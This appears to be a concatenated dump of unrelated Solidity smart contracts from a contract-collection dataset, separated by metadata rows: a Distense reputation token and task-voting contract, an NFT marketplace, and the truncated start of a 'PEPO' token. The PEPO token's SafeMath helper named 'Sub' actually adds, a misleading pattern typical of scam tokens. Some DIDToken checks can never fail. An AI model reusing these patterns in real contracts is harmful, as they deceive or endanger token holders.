uint256 public investmentLimitAggregate = 100000 ether;
uint256 public investmentLimitAddress = 100 ether;
uint256 public investedAggregate = 1 ether;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => SharedStructs.DIDHolder) public DIDHolders;
constructor () public {
name = "Distense DID";
symbol = "DID";
totalSupply = 0;
decimals = 18;
}
function issueDID(address _recipient, uint256 _numDID) public onlyApproved returns (bool) {
require(_recipient != address(0));
require(_numDID > 0);
_numDID = _numDID * 1 ether;
totalSupply = SafeMath.add(totalSupply, _numDID);
uint256 balance = DIDHolders[_recipient].balance;
DIDHolders[_recipient].balance = SafeMath.add(balance, _numDID);
if (DIDHolders[_recipient].DIDHoldersIndex == 0) {
uint256 index = DIDHoldersArray.push(_recipient) - 1;
DIDHolders[_recipient].DIDHoldersIndex = index;
}
emit LogIssueDID(_recipient, _numDID);
return true;
}
function decrementDID(address _address, uint256 _numDID) external onlyApproved returns (uint256) {
require(_address != address(0));
require(_numDID > 0);
uint256 numDID = _numDID * 1 ether;
require(SafeMath.sub(DIDHolders[_address].balance, numDID) >= 0);
require(SafeMath.sub(totalSupply, numDID) >= 0);
totalSupply = SafeMath.sub(totalSupply, numDID);
DIDHolders[_address].balance = SafeMath.sub(DIDHolders[_address].balance, numDID);
if (DIDHolders[_address].balance == 0) {
deleteDIDHolderWhenBalanceZero(_address);
}
emit LogDecrementDID(_address, numDID);
return DIDHolders[_address].balance;
}
function exchangeDIDForEther(uint256 _numDIDToExchange)
external
returns (uint256) {
uint256 numDIDToExchange = _numDIDToExchange * 1 ether;
uint256 netContributionsDID = getNumContributionsDID(msg.sender);
require(netContributionsDID >= numDIDToExchange);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle());
require(numDIDToExchange < totalSupply);
uint256 numWeiToIssue = calculateNumWeiToIssue(numDIDToExchange, DIDPerEther);
address contractAddress = address(this);
require(contractAddress.balance >= numWeiToIssue, "DIDToken contract must have sufficient wei");
DIDHolders[msg.sender].balance = SafeMath.sub(DIDHolders[msg.sender].balance, numDIDToExchange);
DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToExchange);
totalSupply = SafeMath.sub(totalSupply, numDIDToExchange);
msg.sender.transfer(numWeiToIssue);
if (DIDHolders[msg.sender].balance == 0) {
deleteDIDHolderWhenBalanceZero(msg.sender);
}
emit LogExchangeDIDForEther(msg.sender, numDIDToExchange);
return DIDHolders[msg.sender].balance;
}
function investEtherForDID() external payable returns (uint256) {
require(getNumWeiAddressMayInvest(msg.sender) >= msg.value);
require(investedAggregate < investmentLimitAggregate);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = SafeMath.div(distense.getParameterValueByTitle(distense.didPerEtherParameterTitle()), 1 ether);
uint256 numDIDToIssue = calculateNumDIDToIssue(msg.value, DIDPerEther);
require(DIDHolders[msg.sender].netContributionsDID >= numDIDToIssue);
totalSupply = SafeMath.add(totalSupply, numDIDToIssue);
DIDHolders[msg.sender].balance = SafeMath.add(DIDHolders[msg.sender].balance, numDIDToIssue);
DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToIssue);
DIDHolders[msg.sender].weiInvested += msg.value;
investedAggregate = investedAggregate + msg.value;
emit LogIssueDID(msg.sender, numDIDToIssue);
emit LogInvestEtherForDID(msg.sender, msg.value);
return DIDHolders[msg.sender].balance;
}
function incrementDIDFromContributions(address _contributor, uint256 _reward) onlyApproved public {
uint256 weiReward = _reward * 1 ether;
DIDHolders[_contributor].netContributionsDID = SafeMath.add(DIDHolders[_contributor].netContributionsDID, weiReward);
}
function incrementTasksCompleted(address _contributor) onlyApproved public returns (bool) {
DIDHolders[_contributor].tasksCompleted++;
return true;
}
function pctDIDOwned(address _address) external view returns (uint256) {
return SafeMath.percent(DIDHolders[_address].balance, totalSupply, 20);
}
function getNumWeiAddressMayInvest(address _contributor) public view returns (uint256) {
uint256 DIDFromContributions = DIDHolders[_contributor].netContributionsDID;
require(DIDFromContributions > 0);
uint256 netUninvestedEther = SafeMath.sub(investmentLimitAddress, DIDHolders[_contributor].weiInvested);
require(netUninvestedEther > 0);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle());
return (DIDFromContributions * 1 ether) / DIDPerEther;
}
function rewardContributor(address _contributor, uint256 _reward) external onlyApproved returns (bool) {
uint256 reward = SafeMath.div(_reward, 1 ether);
bool issued = issueDID(_contributor, reward);
if (issued) incrementDIDFromContributions(_contributor, reward);
incrementTasksCompleted(_contributor);
}
function getWeiAggregateMayInvest() public view returns (uint256) {
return SafeMath.sub(investmentLimitAggregate, investedAggregate);
}
function getNumDIDHolders() external view returns (uint256) {
return DIDHoldersArray.length;
}
function getAddressBalance(address _address) public view returns (uint256) {
return DIDHolders[_address].balance;
}
function getNumContributionsDID(address _address) public view returns (uint256) {
return DIDHolders[_address].netContributionsDID;
}
function getWeiInvested(address _address) public view returns (uint256) {
return DIDHolders[_address].weiInvested;
}
function calculateNumDIDToIssue(uint256 msgValue, uint256 DIDPerEther) public pure returns (uint256) {
return SafeMath.mul(msgValue, DIDPerEther);
}
function calculateNumWeiToIssue(uint256 _numDIDToExchange, uint256 _DIDPerEther) public pure returns (uint256) {
_numDIDToExchange = _numDIDToExchange * 1 ether;
return SafeMath.div(_numDIDToExchange, _DIDPerEther);
}
function deleteDIDHolderWhenBalanceZero(address holder) internal {
if (DIDHoldersArray.length > 1) {
address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1];
DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement;
DIDHoldersArray.length--;
delete DIDHolders[holder];
}
}
function deleteDIDHolder(address holder) public onlyApproved {
if (DIDHoldersArray.length > 1) {
address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1];
DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement;
DIDHoldersArray.length--;
delete DIDHolders[holder];
}
}
function setDistenseAddress(address _distenseAddress) onlyApproved public {
DistenseAddress = _distenseAddress;
}
}
contract Tasks is Approvable {
using SafeMath for uint256;
address public DIDTokenAddress;
address public DistenseAddress;
bytes32[] public taskIds;
enum RewardStatus {TENTATIVE, DETERMINED, PAID}
struct Task {
string title;
address createdBy;
uint256 reward;
RewardStatus rewardStatus;
uint256 pctDIDVoted;
uint64 numVotes;
mapping(address => bool) rewardVotes;
uint256 taskIdsIndex;
}
mapping(bytes32 => Task) tasks;
mapping(bytes32 => bool) tasksTitles;
event LogAddTask(bytes32 taskId, string title);
event LogTaskRewardVote(bytes32 taskId, uint256 reward, uint256 pctDIDVoted);
event LogTaskRewardDetermined(bytes32 taskId, uint256 reward);
constructor () public {}
function addTask(bytes32 _taskId, string calldata _title) external hasEnoughDIDToAddTask returns
(bool) {
bytes32 titleBytes32 = keccak256(abi.encodePacked(_title));
require(!tasksTitles[titleBytes32], "Task title already exists");
Distense distense = Distense(DistenseAddress);
tasks[_taskId].createdBy = msg.sender;
tasks[_taskId].title = _title;
tasks[_taskId].reward = distense.getParameterValueByTitle(distense.defaultRewardParameterTitle());
tasks[_taskId].rewardStatus = RewardStatus.TENTATIVE;
taskIds.push(_taskId);
tasksTitles[titleBytes32] = true;
tasks[_taskId].taskIdsIndex = taskIds.length - 1;
emit LogAddTask(_taskId, _title);
return true;
}
function getTaskById(bytes32 _taskId) external view returns (string memory,
address,
uint256,
Tasks.RewardStatus,
uint256,
uint64) {
Task memory task = tasks[_taskId];
return (task.title,
task.createdBy,
task.reward,
task.rewardStatus,
task.pctDIDVoted,
task.numVotes);
}
function taskExists(bytes32 _taskId) external view returns (bool) {
return bytes(tasks[_taskId].title).length != 0;
}
function getNumTasks() external view returns (uint256) {
return taskIds.length;
}
function taskRewardVote(bytes32 _taskId, uint256 _reward) external returns (bool) {
DIDToken didToken = DIDToken(DIDTokenAddress);
uint256 balance = didToken.getAddressBalance(msg.sender);
Distense distense = Distense(DistenseAddress);
Task storage task = tasks[_taskId];
require(_reward >= 0);
require(task.reward != (_reward * 1 ether));
require(task.rewardStatus != RewardStatus.DETERMINED);
require(!task.rewardVotes[msg.sender]);
require(balance > distense.getParameterValueByTitle(distense.numDIDRequiredToTaskRewardVoteParameterTitle()));
require((_reward * 1 ether) <= distense.getParameterValueByTitle(distense.maxRewardParameterTitle()));
task.rewardVotes[msg.sender] = true;
uint256 pctDIDOwned = didToken.pctDIDOwned(msg.sender);
task.pctDIDVoted = task.pctDIDVoted + pctDIDOwned;
uint256 votingPowerLimit = distense.getParameterValueByTitle(distense.votingPowerLimitParameterTitle());
uint256 limitedVotingPower = pctDIDOwned > votingPowerLimit ? votingPowerLimit : pctDIDOwned;
uint256 difference;
uint256 update;
if ((_reward * 1 ether) > task.reward) {
difference = SafeMath.sub((_reward * 1 ether), task.reward);
update = (limitedVotingPower * difference) / (1 ether * 100);
task.reward += update;
} else {
difference = SafeMath.sub(task.reward, (_reward * 1 ether));
update = (limitedVotingPower * difference) / (1 ether * 100);
task.reward -= update;
}
task.numVotes++;
uint256 pctDIDVotedThreshold = distense.getParameterValueByTitle(distense.pctDIDToDetermineTaskRewardParameterTitle());
uint256 minNumVoters = distense.getParameterValueByTitle(distense.minNumberOfTaskRewardVotersParameterTitle());
updateRewardStatusIfAppropriate(_taskId, pctDIDVotedThreshold, minNumVoters);
return true;
}
function updateRewardStatusIfAppropriate(bytes32 _taskId, uint256 pctDIDVotedThreshold, uint256 _minNumVoters) internal returns (bool) {
Task storage task = tasks[_taskId];
if (task.pctDIDVoted > pctDIDVotedThreshold || task.numVotes > SafeMath.div(_minNumVoters, 1 ether)) {
emit LogTaskRewardDetermined(_taskId, task.reward);
RewardStatus rewardStatus;
rewardStatus = RewardStatus.DETERMINED;
task.rewardStatus = rewardStatus;
}
return true;
}
function getTaskReward(bytes32 _taskId) external view returns (uint256) {
return tasks[_taskId].reward;
}
function getTaskRewardAndStatus(bytes32 _taskId) external view returns (uint256, RewardStatus) {
return (tasks[_taskId].reward,
tasks[_taskId].rewardStatus);
}
function setTaskRewardPaid(bytes32 _taskId) external onlyApproved returns (RewardStatus) {
tasks[_taskId].rewardStatus = RewardStatus.PAID;
return tasks[_taskId].rewardStatus;
}
function deleteTask(bytes32 _taskId) external onlyApproved returns (bool) {
Task storage task = tasks[_taskId];
if (task.rewardStatus == RewardStatus.PAID) {
uint256 index = tasks[_taskId].taskIdsIndex;
delete taskIds[index];
delete tasks[_taskId];
uint256 taskIdsLength = taskIds.length;
if (taskIdsLength > 1) {
bytes32 lastElement = taskIds[taskIdsLength - 1];
taskIds[index] = lastElement;
taskIds.length--;
}
return true;
}
return false;
}
modifier hasEnoughDIDToAddTask() {
DIDToken didToken = DIDToken(DIDTokenAddress);
uint256 balance = didToken.getAddressBalance(msg.sender);
Distense distense = Distense(DistenseAddress);
uint256 numDIDRequiredToAddTask = distense.getParameterValueByTitle(distense.numDIDRequiredToAddTaskParameterTitle());
require(balance >= numDIDRequiredToAddTask);
_;
}
function setDIDTokenAddress(address _DIDTokenAddress) public onlyApproved {
DIDTokenAddress = _DIDTokenAddress;
}
function setDistenseAddress(address _DistenseAddress) public onlyApproved {
DistenseAddress = _DistenseAddress;
}
}
| 162,641 | 10,613 |
2ae7cdaf7113f489eadb2158d14a67db4d5a2c7f062daa576e5377f9a9762b08
| 19,112 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7f/7fA2A48E11B814a1dD29FB27f93e19f83B513544_MarketPlace.sol
| 4,376 | 18,114 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.5;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns(uint8);
}
interface IERC721 {
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface IERC721ByteCodeGenerator {
function generate(string memory _name,
string memory _symbol,
string memory _desc,
address owner,
address _proxyGen) external pure returns(bytes memory);
}
contract MarketPlace { // ---> Transfering And Approving NFT Tokens Via MarketPlace <---
error ExternalCallError(string message);
address private immutable marketFeeTaker;
// Byte Code Generator
address private immutable erc721Gen;
IERC20 private immutable ERC20; // USDC token contract
struct SellOrderERC721 {
address tokenContract;
address orderOwner;
address buyer;
uint256 tokenId;
uint256 totalPrice; // USDC Or Ether(wei)
uint256 orderStartedAt;
uint256 orderEndedAt;
bool isEther;
bool isCanceled;
bool isEnded;
}
uint256 totalERC721SellOrderCount = 1;
struct BidERC721 {
uint256 totalPrice; // USDC Or Ether(wei) with fee
uint256 tokenId;
uint256 bidStartedAt;
uint256 bidEndedAt;
uint256 orderId;
address nftContractAddr;
address seller;
address bidOwner;
bool isEther;
bool isCanceled;
bool isEnded;
}
uint256 totalERC721BidCount = 1;
struct TransferERC721 {
address sender;
address receiver;
address contractAddr;
uint tokenId;
}
uint256 totalERC721Transfer = 1;
event SellOrderERC721Created(address indexed creator, uint indexed orderId);
event BidERC721Created(address indexed creator, uint indexed bidId);
event ERC721ContractCreation(address indexed creator, string name, string symbol, string desc);
// from orderId to order info (ERC721)
mapping (uint256 => SellOrderERC721) private orderERC721;
// from order owner to all his sell orders (ERC721)
mapping (address => uint[]) private userERC721SellOrders;
// from contract address to specific tokenids bids
mapping (address => mapping (address => mapping (uint => uint[]))) private contractBids;
// from user to is ERC721 contract created (ERC721)
mapping (address => address) private userERC721Contract;
// from bidId to bid info (ERC721)
mapping (uint256 => BidERC721) private ERC721Bid;
// from bidder to bid id (ERC721)
mapping (address => uint[]) private ERC721BidderBids;
// from user to his added contract accounts
mapping (address => address[]) private userAddedContracts;
// from contract address to validation
mapping (address => bool) private allMarketContracts;
constructor(address _usdcToken,
address _feeTaker,
address _erc721Gen) {
ERC20 = IERC20(_usdcToken);
marketFeeTaker = _feeTaker;
erc721Gen = _erc721Gen;
}
function bidERC7211Data(uint _bidId) external view returns(BidERC721 memory) {
return ERC721Bid[_bidId];
}
function orderERC721Data(uint256 _orderId) external view returns(SellOrderERC721 memory) {
require(_orderId != 0 && _orderId < totalERC721SellOrderCount && _orderId >= 1, "Invalid Order Id.");
return orderERC721[_orderId];
}
function totalERC721OrdersCount() external view returns(uint256) {
return totalERC721SellOrderCount - 1;
}
function createERC721SellOrder(address _contract, uint256 _tokenId, uint256 _price, bool _isEther) external {
require(allMarketContracts[_contract] == true, "this address is not a valid contract address.");
IERC721 nft = IERC721(_contract);
require(nft.ownerOf(_tokenId) == msg.sender, "Not Token Owner.");
require(_price != 0, "Invalid Order Price.");
require(nft.isApprovedForAll(msg.sender, address(this)) == true || nft.getApproved(_tokenId) == address(this), "Allowance Needed.");
try nft.transferFrom(msg.sender, address(this), _tokenId) {
SellOrderERC721 memory order = SellOrderERC721({
tokenContract: _contract,
orderOwner: msg.sender,
buyer: address(0),
tokenId: _tokenId,
totalPrice: _price,
orderStartedAt: block.timestamp,
orderEndedAt: 0,
isEther: _isEther,
isCanceled: false,
isEnded: false
});
orderERC721[totalERC721SellOrderCount] = order;
userERC721SellOrders[msg.sender].push(totalERC721SellOrderCount);
totalERC721SellOrderCount += 1;
emit SellOrderERC721Created(msg.sender, totalERC721SellOrderCount - 1);
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
function cancelERC721SellOrder(uint256 _orderId) external {
SellOrderERC721 storage order = orderERC721[_orderId];
require(order.orderOwner == msg.sender, "Not Order Owner.");
require(order.buyer == address(0) && order.isCanceled == false && order.isEnded == false, "Order Has Been Ended Befor!");
IERC721 nft = IERC721(order.tokenContract);
order.isCanceled = true;
try nft.safeTransferFrom(address(this), order.orderOwner, order.tokenId) {
//
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented safeTransferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
function editERC721SellOrderPrice(uint256 _orderId, uint256 _newPrice) external {
SellOrderERC721 storage order = orderERC721[_orderId];
require(order.orderOwner == msg.sender, "Not Order Owner.");
require(order.buyer == address(0) && order.isCanceled == false && order.isEnded == false, "Order Has Been Ended Befor!");
order.totalPrice = _newPrice;
}
function createERC721Bid(uint256 _bidPrice, uint256 _orderId, bool _isEther) external payable {
SellOrderERC721 memory order = orderERC721[_orderId];
require(order.tokenId != 0 && _bidPrice != 0, "Invalid Bid Info.");
require(order.tokenContract.code.length > 0 && order.tokenContract != address(0) && order.tokenContract != msg.sender, "Invalid Contract Address");
require(order.orderOwner != address(0) && order.isCanceled == false && order.isEnded == false, "Invlaid Order Id.");
require(order.orderOwner != msg.sender , "You Cannot Set A Bid For Your Own NFT!");
if (_isEther) {
require(msg.value == _bidPrice, "Insufficient Ether Amount.");
BidERC721 memory bid = BidERC721({
totalPrice: _bidPrice,
tokenId: order.tokenId,
bidStartedAt: block.timestamp,
bidEndedAt: 0,
orderId: _orderId,
nftContractAddr: order.tokenContract,
seller: address(0),
bidOwner: msg.sender,
isEther: _isEther,
isCanceled: false,
isEnded: false
});
ERC721Bid[totalERC721BidCount] = bid;
ERC721BidderBids[msg.sender].push(totalERC721BidCount);
contractBids[order.tokenContract][order.orderOwner][order.tokenId].push(totalERC721BidCount);
totalERC721BidCount += 1;
emit BidERC721Created({
creator: msg.sender,
bidId: totalERC721BidCount - 1
});
} else {
require(ERC20.allowance(msg.sender, address(this)) == (_bidPrice * (10**ERC20.decimals())), "Invalid Allowance.");
try ERC20.transferFrom(msg.sender, address(this), (_bidPrice * (10**ERC20.decimals()))) {
BidERC721 memory bid = BidERC721({
totalPrice: _bidPrice,
tokenId: order.tokenId,
bidStartedAt: block.timestamp,
bidEndedAt: 0,
orderId: _orderId,
nftContractAddr: order.tokenContract,
seller: address(0),
bidOwner: msg.sender,
isEther: _isEther,
isCanceled: false,
isEnded: false
});
ERC721Bid[totalERC721BidCount] = bid;
ERC721BidderBids[msg.sender].push(totalERC721BidCount);
contractBids[order.tokenContract][order.orderOwner][order.tokenId].push(totalERC721BidCount);
totalERC721BidCount += 1;
emit BidERC721Created({
creator: msg.sender,
bidId: totalERC721BidCount - 1
});
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC20)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
}
function cancelERC721Bid(uint _bidId) external {
BidERC721 storage bid = ERC721Bid[_bidId];
require(bid.bidOwner == msg.sender, "not bid owner.");
require(bid.seller == address(0) && bid.isCanceled == false && bid.isEnded == false, "Cannot Cancel Bid!");
if (bid.isEther) {
bid.isCanceled = true;
(bool result,) = msg.sender.call{value: bid.totalPrice}("");
require(result == true, "Something Went Wrong.");
} else {
bid.isCanceled = true;
try ERC20.transfer(msg.sender, (bid.totalPrice * (10**ERC20.decimals()))) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transfer Func. (ERC20)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
}
function acceptERC721Bid(uint _bidId, uint _orderId) external {
BidERC721 storage bid = ERC721Bid[_bidId];
require(bid.bidOwner != address(0), "invalid bid id.");
require(bid.seller == address(0) && bid.isCanceled == false && bid.isEnded == false, "Cannot Accept Bid!");
SellOrderERC721 storage order = orderERC721[_orderId];
require(order.orderOwner == msg.sender, "Invalid Order Owner.");
require(order.buyer == address(0) && order.isCanceled == false && order.isEnded == false, "Cannot Interact With This Order.");
bid.isEnded = true;
bid.bidEndedAt = block.timestamp;
bid.seller = msg.sender;
order.isEnded = true;
order.orderEndedAt = block.timestamp;
order.buyer = bid.bidOwner;
uint totalFund = bid.totalPrice;
uint marketFee = totalFund / 50; // 2%
uint sellerFund = totalFund - marketFee;
IERC721 nft = IERC721(bid.nftContractAddr);
if (bid.isEther) {
try nft.transferFrom(address(this), bid.bidOwner, bid.tokenId) {
payable(msg.sender).transfer(sellerFund);
(bool result,) = marketFeeTaker.call{value: marketFee}("");
require(result == true, "Something Went Wrong.");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
} else {
try nft.transferFrom(address(this), bid.bidOwner, bid.tokenId) {
try ERC20.transfer(msg.sender, sellerFund * (10**ERC20.decimals())) returns(bool res) {
require(res == true, "Something Went Wrong.");
try ERC20.transfer(marketFeeTaker, marketFee * (10**ERC20.decimals())) returns(bool result) {
require(result == true, "Something Went Wrong.");
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transfer Func. (ERC20)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
} catch (bytes memory reason) {
if (reason.length == 0) {
revert ExternalCallError({
message: "Error: This Contract Doesn't Implemented transferFrom Func. (ERC721)"
});
} else {
revert ExternalCallError({
message: "Error: External Func Call Failed."
});
}
}
}
}
function addContractAddress(address _contract) external {
require(allMarketContracts[_contract] == true, "this address is not a valid contract address.");
address[] storage addrs = userAddedContracts[msg.sender];
bool isExist;
for (uint i; i < addrs.length; ++i) {
if (_contract == addrs[i]) {
isExist = true;
break;
}
}
require(isExist == false, "Contract Already Exists.");
addrs.push(_contract);
}
function createERC721Contract(string memory _name, string memory _symbol, string memory _desc, address _proxyGen) external {
require(userERC721Contract[msg.sender] == address(0), unicode"ERC721: Contract Already Created. ");
require(bytes(_name).length > 0 &&
bytes(_symbol).length > 0 &&
bytes(_desc).length > 0,
"invalid strings.");
bytes memory byteCode = IERC721ByteCodeGenerator(erc721Gen).generate(_name, _symbol, _desc, msg.sender, _proxyGen);
address contractAddr;
assembly {
contractAddr := create(callvalue(), add(byteCode, 0x20), mload(byteCode))
}
require(contractAddr != address(0), "Failed While Creating ERC721 Contract.");
userERC721Contract[msg.sender] = contractAddr;
allMarketContracts[contractAddr] = true;
emit ERC721ContractCreation({
creator: msg.sender,
name: _name,
symbol: _symbol,
desc: _desc
});
}
function userERC721Address(address _addr) external view returns(address contractAddr) {
contractAddr = userERC721Contract[_addr];
}
function userContracts(address _user) external view returns(address[] memory) {
return userAddedContracts[_user];
}
function userERC721Orders(address _user) external view returns(uint[] memory) {
return userERC721SellOrders[_user];
}
function userERC721OwnedContract(address _user) external view returns(address) {
return userERC721Contract[_user];
}
function userERC721Bids(address _user) external view returns(uint[] memory) {
return ERC721BidderBids[_user];
}
function userContractBids(address _contract,
address _owner,
uint _tokenId) external view returns(uint[] memory) {
return contractBids[_contract][_owner][_tokenId];
}
}
| 106,084 | 10,614 |
db9b1d22beb166104ce28df7ff14250acc7c820d074bb760b259a5268d87fdc5
| 19,971 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9d/9dcd556258324cf6c5fa30c9454a577289bf5b94_PEPO.sol
| 3,236 | 11,039 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PEPO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
